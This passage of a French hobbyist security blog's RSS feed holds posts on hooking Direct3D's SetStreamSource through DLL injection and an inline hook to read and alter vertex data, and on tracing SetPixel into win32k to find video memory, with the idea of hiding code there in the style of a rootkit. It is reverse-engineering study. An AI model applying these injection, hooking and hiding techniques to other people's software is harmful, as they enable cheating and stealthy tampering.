    <description>    &lt;p&gt;En se moment je m'intéresse à la programmation &lt;a href=&quot;http://fr.wikipedia.org/wiki/Direct3D&quot;&gt;Direct3D&lt;/a&gt;. J'ai réalisé un programme bidon qui affiche un symbole en 3d  et le fait tourner sur lui même. Pas d'anti-aliasing ou autre joyeuseté du style je me suis simplement servi de vertex (une vertex/vertice pourrais se résumer à un point). Le but de ce programme est d'avoir une base pour réaliser ensuite un hook sur la fonction manipulant les vertex et leurs informations histoire de retrouver les couleurs et coordonnées des points du symbole affiché.
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Chaque point de la figure est stoqué dans un tableau de CUSTOMVERTEX, la structure CUSTOMVERTEX est défini par la méthode &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174433(VS.85).aspx&quot;&gt;SetFVF()&lt;/a&gt; qui se trouve dans l'objet &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174336(VS.85).aspx&quot;&gt;IDirect3DDevice9&lt;/a&gt;. Je défini mon point par D3DFVF_XYZ|D3DFVF_DIFFUSE se qui représente { (float)X, (float)Y, (float)Z, (DWORD)color, }
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Une autre méthode intéressante est &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174459(VS.85).aspx&quot;&gt;SetStreamSource()&lt;/a&gt; faisant partie du même objet, elle va aller toucher au buffer contenant touts les points, et cela à chaque fois qu'on affiche une image. Il suffit donc d'injecter une dll dans le programme et de retrouver IDirect3DDevice9::SetStreamSource() pour la hooker. Sauf que l'objet &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174336(VS.85).aspx&quot;&gt;IDirect3DDevice9&lt;/a&gt; est en mémoire, où? impossible à savoir de l'extérieur.&lt;/p&gt;


&lt;p&gt;Le code important dans le programme est:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// (LPDIRECT3DDEVICE9)		gPd3dDevice&lt;/span&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// (LPDIRECT3DVERTEXBUFFER9)	gVertexBuff&lt;/span&gt;
&lt;div style=&quot;padding-left:20px;&quot;&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// Préparation du vertex buffer&lt;/span&gt;
gPd3dDevice-&gt;SetStreamSource(&lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, gVertexBuff, &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, sizeof(CUSTOMVERTEX)); 
&lt;span style=&quot;color:#FF5555;&quot;&gt;// Définition de la taille d'un point/vertex&lt;/span&gt;
gPd3dDevice-&gt;SetFVF(D3DFVF_XYZ|D3DFVF_DIFFUSE); 
&lt;span style=&quot;color:#FF5555;&quot;&gt;// on dessine un premier triangle&lt;/span&gt;
gPd3dDevice-&gt;DrawPrimitive(D3DPT_TRIANGLESTRIP, &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color:#5555FF;&quot;&gt;1&lt;/span&gt;);
&lt;span style=&quot;color:#FF5555;&quot;&gt;// puis le second... et ainsi de suite pour avoir le symbole&lt;/span&gt; 
gPd3dDevice-&gt;DrawPrimitive(D3DPT_TRIANGLESTRIP, &lt;span style=&quot;color:#5555FF;&quot;&gt;3&lt;/span&gt;, &lt;span style=&quot;color:#5555FF;&quot;&gt;1&lt;/span&gt;);&lt;/div&gt;
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Voici la version assembleur pour l'appel à &lt;br /&gt;gPd3dDevice-&amp;gt;SetStreamSource(0, gVertexBuff, 0, sizeof(CUSTOMVERTEX));&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;div style=&quot;padding-left:20px;&quot;&gt;
mov   edx,dword ptr ds:[gVertexBuff] &lt;span style=&quot;color:#FF5555;&quot;&gt;; on met l'adresse de gVertexBuff dans edx&lt;/span&gt;
mov   eax,dword ptr ds:[gPd3dDevice] &lt;span style=&quot;color:#FF5555;&quot;&gt;; on met l'adresse de gPd3dDevice dans eax&lt;/span&gt;
mov   ecx,dword ptr ds:[eax] &lt;span style=&quot;color:#FF5555;&quot;&gt;; ecx pointe vers la table de fonction de l'objet DIRECT3DDEVICE9&lt;/span&gt;
push  &lt;span style=&quot;color:#5555FF;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;color:#FF5555;&quot;&gt;; Stride (taille d'un point/vertex) 0x10 = 16 = DWORD*4&lt;/span&gt;
push  &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color:#FF5555;&quot;&gt;; Offset&lt;/span&gt;
push  edx &lt;span style=&quot;color:#FF5555;&quot;&gt;; l'adresse de gVertexBuff&lt;/span&gt;
push  &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color:#FF5555;&quot;&gt;; StreamNumber&lt;/span&gt;
push  eax &lt;span style=&quot;color:#FF5555;&quot;&gt;; l'adresse de gPd3dDevice&lt;/span&gt;
mov &amp;nbsp;&amp;nbsp;eax,dword ptr ds:[ecx+&lt;span style=&quot;color:#5555FF;&quot;&gt;190&lt;/span&gt;] &lt;span style=&quot;color:#FF5555;&quot;&gt;; 64eme fonction de l'objet d3dDevice&lt;/span&gt;
call &amp;nbsp;eax &lt;span style=&quot;color:#FF5555;&quot;&gt;; gPd3dDevice-&gt;SetStreamSource(0, edx, 0, 10);&lt;/span&gt;
&lt;/div&gt;&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Donc l'objet &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174336(VS.85).aspx&quot;&gt;IDirect3DDevice9&lt;/a&gt; contient une table de fonction, la fonction SetStreamSource est la 64eme et fait référence au module d3d9.dll. En cherchant un peu je retrouve comment est initialisé l'objet. En fait il se base sur une autre table de fonction qui se situe aussi dans le module d3d9.dll et dont SetStreamSource est la 134eme fonction. Comme je ne peux pas savoir comment est structuré l'objet en mémoire je me baserai sur la table de fonction de d3d9.dll pour retrouver SetStreamSource.
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;La table se situe dans la section .text à l'offset &lt;strong&gt;0x15C38&lt;/strong&gt;, C'est hardcodé donc c'est moche et ça ne marchera que pour certaine version de la librairie. mais je suis obliger de procéder de cette manière car SetStreamSource n'est pas exporté. D'ailleurs &lt;a href=&quot;http://www.ring3circus.com/downloads/direct3d-hooking/&quot;&gt;la plupart des codes&lt;/a&gt; &lt;a href=&quot;http://usl.sis.pitt.edu/wjj/UTClient/Hooking%20Direct3d.doc&quot;&gt;que j'ai trouvé&lt;/a&gt; utilisent des offset.&lt;br /&gt;
Sinon il y a plusieurs alternatives, dont le &lt;a href=&quot;http://www.codeproject.com/KB/system/Hooking_DirectX_COM.aspx&quot;&gt;hook de l'IAT sur des fonctions de type d3d8thk.*&lt;/a&gt; qui sont d'anciennes fonctions de d3d8.dll utilisés dans la version neuf par souci de compatibilité.
ou encore &lt;a href=&quot;http://hi.baidu.com/shangxing214/blog/item/48ec3fa645c25b9dd04358a7.html&quot;&gt;hooker la fonction Direct3DCreate9&lt;/a&gt; qui elle est exporté.
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Je préfère procéder par un hook inline, sodomite inside. Donc la DLL que je vais injecté vas retrouver &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174459(VS.85).aspx&quot;&gt;SetStreamSource()&lt;/a&gt;, la rediriger vers une fonction intermédiaire qui aura pour but de récupérer les arguments de la pile. Comme la DLL injecté fait partie d'un nouveau thread je vais faire un &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms686298(VS.85).aspx&quot;&gt;Sleep(100)&lt;/a&gt;. Les autres thread du programme vont avoir le temps de s'exécuter et d'utiliser ma fonction hooké et c'est gagné. Après le &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms686298(VS.85).aspx&quot;&gt;Sleep()&lt;/a&gt; j'aurai accès au argument de &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174459(VS.85).aspx&quot;&gt;SetStreamSource()&lt;/a&gt;.
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;On aura donc l'adresse des objets &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb174336(VS.85).aspx&quot;&gt;IDirect3DDevice9&lt;/a&gt;, &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb205915(VS.85).aspx&quot;&gt;IDirect3DVertexBuffer9&lt;/a&gt; ainsi qu'a la taille du CUSTOMVERTEX. Ensuite on utilise les objets comme s'ils nous appartenaient. Donc pour avoir accès aux fameux points de la figure il suffit de faire un:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// pVertices contiendra l'adresse du début de la mémoire ou sont stoqué les vertex&lt;/span&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// gVertexBuff représente l'objet IDirect3DVertexBuffer9&lt;/span&gt;
gVertexBuff-&gt;Lock(&lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, vertexSize, (void **)&amp;pVertices, &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;);
gVertexBuff-&gt;Unlock();
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Ensuite on peut manipuler ces objets à volonté, lire/changer la position des points, la couleur etc... Le code est disponible
mais ça reste un PoC, je change juste la couleur du symbole rien d'extraordinaire. J'ai surtout fait ça pour cheater à l'iut :] For Aiur!
&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Version de d3d9: 5.3.2600.2180&lt;br /&gt;
Le programme: &lt;a href=&quot;http://mysterie.fr/prog/blog/d3dSym.exe&quot;&gt;d3d.exe&lt;/a&gt; - &lt;a href=&quot;http://mysterie.fr/prog/blog/d3dSym.htm&quot;&gt;source&lt;/a&gt;&lt;br /&gt;
La dll à injecter: &lt;a href=&quot;http://mysterie.fr/prog/blog/d3dInject.dll&quot;&gt;d3d.dll&lt;/a&gt; - &lt;a href=&quot;http://mysterie.fr/prog/blog/d3dInject.htm&quot;&gt;source&lt;/a&gt;&lt;br /&gt;
Le screen: &lt;a href=&quot;http://mysterie.fr/prog/blog/screenD3Dhook.jpg&quot;&gt;ici&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/05/21/D3D-Hooking#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/05/21/D3D-Hooking#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/3</wfw:commentRss>
      </item>
    
  <item>
    <title>Aujourd'hui c'est coloriage.</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/04/24/Aujourd-hui-c-est-coloriage.</link>
    <guid isPermaLink="false">urn:md5:a0edd4d874c60905721e856434eab4ad</guid>
    <pubDate>Sat, 02 May 2009 12:50:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Windows</category>
            
    <description>    &lt;p&gt;Je me suis demandé comment fonctionnait l'affichage sous windows (afficher un pixel à l'écran).
Quand j'ai fait mes premiers pas en assembleur je me suis amusé à afficher une lettre, c'était sous win98 grâce au mode &lt;a href=&quot;http://fr.wikipedia.org/wiki/Color_Graphics_Adapter&quot;&gt;cga&lt;/a&gt; qu'on obtient avec ces instructions &lt;a href=&quot;http://www.emu8086.com/assembly_language_tutorial_assembler_reference/8086_bios_and_dos_interrupts.html#int10h_06h&quot;&gt;INT 10h / AH 6h&lt;/a&gt;. Puis j'ai essayé de lancer le même code sous XP et la c'est le drame, rien. Depuis windows xp &amp;amp; co il y a eu pas mal de changement et mon programme ne fonctionne plus. En réalité on ne peut plus lire/écrire directement dans la mémoire physique réservée au mode cga car:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les systèmes d'exploitation actuels utilisent un mécanisme de &lt;a href=&quot;http://fr.wikipedia.org/wiki/M%C3%A9moire_virtuelle&quot;&gt;mémoire virtuelle&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;L'espace mémoire en question se situe après l'adresse 0x7ffeffff (&lt;a href=&quot;http://fr.wikipedia.org/wiki/Ring_(informatique)&quot;&gt;Ring 0&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Je me suis mis à la recherche de la mémoire vidéo, le mode cga n'étant plus utilisé depuis longtemps. Une des façons de procéder est d'écrire un driver (pour accéder au noyau) et d'envoyer des requêtes au bus pci pour trouver la carte graphique et ses caractéristiques.
Je me suis basé sur un &lt;a href=&quot;http://rce.servhome.org/blog/?p=1&quot;&gt;article de rAsM&lt;/a&gt; à lire absolument si vous voulez comprendre le code. J'ai ajouté des &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms801656.aspx&quot;&gt;KeAcquireSpinLock&lt;/a&gt; et &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms801909.aspx&quot;&gt;KeReleaseSpinLock&lt;/a&gt; histoire de ne pas avoir de surprise avec les READ/WRITE_PORT.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://mysterie.fr/prog/blog/pcidisp.c&quot;&gt;Le code du driver&lt;/a&gt;, Le résultat:&lt;br /&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #000000; width:500px; padding:10px; color:#DCDCDC;&quot;&gt;
Base address #0 (BAR0) &lt;span style=&quot;color:#FF5555;&quot;&gt;// domaines de port I/O&lt;/span&gt;&lt;br /&gt;
Physical [&lt;span style=&quot;color:#5555FF;&quot;&gt;0x1401 - 0x1411&lt;/span&gt;]&lt;br /&gt;
Base address #1 (BAR1) &lt;span style=&quot;color:#FF5555;&quot;&gt;// 1er partie de la mémoire vidéo&lt;/span&gt;&lt;br /&gt;
Physical [&lt;span style=&quot;color:#5555FF;&quot;&gt;0xf0000000 - 0xf8000000&lt;/span&gt;]&lt;br /&gt;
Base address #2 (BAR2) &lt;span style=&quot;color:#FF5555;&quot;&gt;// 2eme partie de la mémoire vidéo&lt;/span&gt;&lt;br /&gt;
Physical [&lt;span style=&quot;color:#5555FF;&quot;&gt;0xec000000 - 0xec800000&lt;/span&gt;]&lt;br /&gt;
&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;
Bien sûr se sont des adresses physique, on peu ensuite utiliser la fonction &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa932608.aspx&quot;&gt;MmMapIoSpace&lt;/a&gt; pour y accéder mais sa reviendrai à faire une copie de la mémoire physique vers la mémoire virtuelle et on se retrouve avec DEUX buffer vidéo en ram :/. &lt;br /&gt;
Alors on vas essayer de retrouver le premier qui est déjà en mémoire. J'ai donc fait un programme en C qui affiche un pixel rose en haut à gauche de l'écran.&lt;/p&gt;

&lt;div style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;//Rien de complexe pour le programme.&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;padding-left:20px;&quot;&gt;
HDC hScreenDC;&lt;br /&gt;
hScreenDC = GetDC(&lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;); &lt;span style=&quot;color:#FF5555;&quot;&gt;// screen&lt;/span&gt;&lt;br /&gt;
DWORD color = &lt;span style=&quot;color:#5555FF;&quot;&gt;0x00FF00FF&lt;/span&gt;;  &lt;span style=&quot;color:#FF5555;&quot;&gt;// rose :}&lt;/span&gt;&lt;br /&gt;

SetPixel(hScreenDC, &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, color);&lt;br /&gt;

ReleaseDC(&lt;span style=&quot;color:#5555FF;&quot;&gt;0&lt;/span&gt;, hScreenDC);&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;
Et ensuite je débugge tout ça, donc dans notre programme on commence par un appel a la fonction &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd145078(VS.85).aspx&quot;&gt;SetPixel&lt;/a&gt; qui se trouve dans gdi32.dll. La &lt;a href=&quot;http://fr.wikipedia.org/wiki/Graphics_Device_Interface&quot;&gt;GDI&lt;/a&gt; permet de faire le lien entre les applications et les pilotes graphiques. et à la fin de gdi32!SetPixel on as un appel à une petite routine assez spécifique:&lt;/p&gt;

&lt;div style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;div style=&quot;padding-left:20px;&quot;&gt;
mov     eax, &lt;span style=&quot;color:#5555FF;&quot;&gt;111Ah&lt;/span&gt;&lt;br /&gt;
mov     edx, &lt;span style=&quot;color:#5555FF;&quot;&gt;7FFE0300h&lt;/span&gt;&lt;br /&gt;
call    dword ptr [edx] &lt;span style=&quot;color:#FF5555;&quot;&gt;; ntdll!KiFastSystemCall&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Pour ceux qui n'ont pas compris la subtilité de ses quelques instructions, en fait on a un appel à KiFastSystemCall() avec comme argument 0x111A.
&lt;a href=&quot;http://www.ivanlef0u.tuxfamily.org/?p=22&quot;&gt;Puis vient le SYSENTER et on entre dans le noyau (pas directement bien sûr)&lt;/a&gt;, la fonction KiFastCallEntry() récupère notre argument puis on passe par la fonction KiSystemService() qui va se charger de trouver la fonction équivalente a 0x111A. Ce numéro ne représente pas vraiment une fonction, je pense qu'il y a un 0x1000 AND 0x111A, pour indiquer si on a affaire à la &lt;a href=&quot;http://fr.wikipedia.org/wiki/System_Service_Dispatch_Table&quot;&gt;SSDT&lt;/a&gt; ou à la &lt;a href=&quot;http://0vercl0k.blogspot.com/2009/03/flirt-with-session-space.html&quot;&gt;SSDT Shadow&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
0: kd&gt; dd nt!KeServiceDescriptorTableShadow l 0x8&lt;br /&gt;
805614c0    804e48b0   00000000    0000011c    80517fc4&lt;br /&gt;
805614d0    bf999c00    00000000    0000029b    bf99a910&lt;br /&gt;
&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;
On voit bien que le nombre de fonction dans la SSDT Shadow est de 0x29b, donc 0x111A c'est trop grand. Par contre après avoir viré ce 0x1000 on se retrouve avec le numéro 0x11A et là ça le fait.&lt;/p&gt;

&lt;div style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
0: kd&gt; dd bf999c00 l 0x11b&lt;br /&gt;
...&lt;br /&gt;
bf99a060    bf949a50    bf841b72    bf8751a3&lt;br /&gt;
0: kd&gt; ln bf8751a3&lt;br /&gt;
(bf8751a3)   win32k!NtGdiSetPixel&lt;br /&gt;
&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;
Le nom de la fonction est assez explicite, elle fait appel a de moult autre fonctions dans win32k.sys. je trace un peu tout ça pour en ressortir les fonctions qui nous intéressent.&lt;br /&gt;&lt;/p&gt;

&lt;pre style=&quot;background-color: #000000; width:500px; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color:#FF5555;&quot;&gt;// arbre d'appel&lt;/span&gt;
win32k!NtGdiSetPixel 
&amp;nbsp;-&gt; win32k!SURFACE::pfnBitBlt 
&amp;nbsp;&amp;nbsp;-&gt; win32k!SpBitBlt 
&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!OffBitBlt
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!CLIPOBJ_vOffset
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!EngBitBlt 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!PDEVOBJ::vSync 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!vDIBSolidBlt
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&gt; win32k!vSolidFillRect1 
&lt;span style=&quot;color:#FF5555;&quot;&gt;// code qui rox&lt;/span&gt;
mov eax,dword ptr [ebp+&lt;span style=&quot;color:#5555FF;&quot;&gt;18h&lt;/span&gt;] &lt;span style=&quot;color:#FF5555;&quot;&gt;; eax=00ff00ff code de la couleur&lt;/span&gt;
mov dword ptr [edi],eax &lt;span style=&quot;color:#FF5555;&quot;&gt;; edi=f9234000 adresse pointant dans la mémoire vidéo.&lt;/span&gt;&lt;br /&gt;
&lt;/pre&gt;


&lt;p&gt;&lt;br /&gt;
Je vérifie que cette adresse corresponde bien à l'adresse physique 0xf0000000.&lt;br /&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #000000; width:500px; padding:10px; color:#DCDCDC;&quot;&gt;
0: kd&gt; !vtop 0 f9234000&lt;br /&gt;
X86VtoP: Virt f9234000, pagedir d4a6000&lt;br /&gt;
X86VtoP: PDE d4a6f90 - 01014163&lt;br /&gt;
X86VtoP: PTE 10148d0 - f000017b&lt;br /&gt;
X86VtoP: Mapped phys f0000000&lt;br /&gt;
Virtual address f9234000 translates to physical address f0000000.&lt;br /&gt;
&lt;/div&gt;


&lt;p&gt;&lt;br /&gt;
Woot! Je ne sais pas comment procède windows pour retrouver l'adresse 0xf9234000 (si quelqu'un peu m'éclairer). Par contre je m'aperçois qu'après f9234000+1D4C00 (1D4C00 = 800*600*4 la résolution de l'écran) la mémoire est à zéro, de 0xf9408c00 à 0xf9434000 se qui fait 177ko de libre.
Vu la place je pense à la technique du &lt;a href=&quot;http://www.phrack.org/issues.html?issue=63&amp;amp;id=8&amp;amp;mode=txt&quot;&gt;Shadow Walker&lt;/a&gt;, le principe serai de faire croire au système que les pages non utilisées de la mémoire vidéo sont swappées. On pourrai y cacher du code ou des datas. Mais cette technique commence à dater et nécessite un hook dans l'&lt;a href=&quot;http://fr.wikipedia.org/wiki/Interrupt_Descriptor_Table&quot;&gt;idt&lt;/a&gt; ce qui peut être &lt;a href=&quot;http://www.ivanlef0u.tuxfamily.org/?p=262&quot;&gt;détectable&lt;/a&gt;. Et dans le cas où l'utilisateur changerai sa résolution d'écran il y aurai surement un conflit, dommage...&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/04/24/Aujourd-hui-c-est-coloriage.#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/04/24/Aujourd-hui-c-est-coloriage.#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/2</wfw:commentRss>
      </item>
    
  <item>
    <title>&quot;We're all mad here. I'm mad. You're mad.&quot; said the Cheshire Cat</title>
    <link>http://mysterie.fr/blog/index.php?post/2009/03/19/%22We-re-all-mad-here.-I-m-mad.-You-re-mad.%22-said-the-Cheshire-Cat</link>
    <guid isPermaLink="false">urn:md5:f16396ce12886a6d15bb568b808bd695</guid>
    <pubDate>Thu, 19 Mar 2009 22:48:00 +0000</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Articles</category>
            
    <description>    &lt;p&gt;Je me suis enfin décidé à virer mon vieux blog, codé par mes soins il y a maintenant plusieurs années.
Et cela pour en ouvrir un nouveau, exposant mes pérégrinations dans le vaste monde de l'informatique.&lt;/p&gt;


&lt;p&gt;En espérant que cela vous plaise.&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2009/03/19/%22We-re-all-mad-here.-I-m-mad.-You-re-mad.%22-said-the-Cheshire-Cat#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2009/03/19/%22We-re-all-mad-here.-I-m-mad.-You-re-mad.%22-said-the-Cheshire-Cat#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/1</wfw:commentRss>
      </item>
    
</channel>
</rss>